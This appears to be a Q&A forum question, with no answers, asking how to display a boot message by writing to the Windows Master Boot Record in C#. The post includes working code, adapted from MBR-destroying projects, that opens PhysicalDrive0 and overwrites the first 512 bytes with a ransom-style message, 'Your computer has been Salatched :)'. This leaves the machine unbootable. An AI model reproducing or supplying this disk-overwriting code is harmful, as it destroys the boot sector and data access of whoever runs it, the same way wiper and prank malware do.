Junior Plays
Junior Plays

Reputation: 42

How to write message to MBR without affecting MBR initialization functionality in C#?

I was studying the MBR (Master Boot Record) of Windows, and I found that it can be modified and show a message, I was looking more about it on GitHub, and I found SyfuMBR and Fuc.MBR, only they are not very relevant to me because they just destroy the MBR and I don't want that, I just want to show a message like "Hello, world!", I tried adapting the code from SyfuMBR and MBRFuc* to try to show something but it just shows "FATAL: No bootable medium found! System halted.", here's my attempted SyfuMBR adaptation:

[DllImport("kernel32")]
        private static extern IntPtr CreateFile(
            string lpFileName,
            uint dwDesiredAccess,
            uint dwShareMode,
            IntPtr lpSecurityAttributes,
            uint dwCreationDisposition,
            uint dwFlagsAndAttributes,
            IntPtr hTemplateFile);

[DllImport("kernel32")]
        private static extern bool WriteFile(
            IntPtr hFile,
            byte[] lpBuffer,
            uint nNumberOfBytesToWrite,
            out uint lpNumberOfBytesWritten,
            IntPtr lpOverlapped);

private const uint GenericRead = 0x80000000;
private const uint GenericWrite = 0x40000000;
private const uint GenericExecute = 0x20000000;
private const uint GenericAll = 0x10000000;
private const uint FileShareRead = 0x1;
private const uint FileShareWrite = 0x2;
private const uint OpenExisting = 0x3;
private const uint FileFlagDeleteOnClose = 0x4000000;
private const uint MbrSize = 512u;

public void Main()
{
    var mbrData = Encoding.ASCII.GetBytes("Your computer has been Salatched :)");
    var mbr = CreateFile("\\\\.\\PhysicalDrive0", GenericAll, FileShareRead | FileShareWrite, IntPtr.Zero,
OpenExisting, 0, IntPtr.Zero);

    try
    {
        WriteFile(mbr, mbrData, MbrSize, out uint lpNumberofBytesWritten, IntPtr.Zero);
    }
    catch { }
}

Code to call MBR overwrite function:

MBR mbr = new MBR();
mbr.Main();

Upvotes: 0

Views: 193

Answers (0)

Related Questions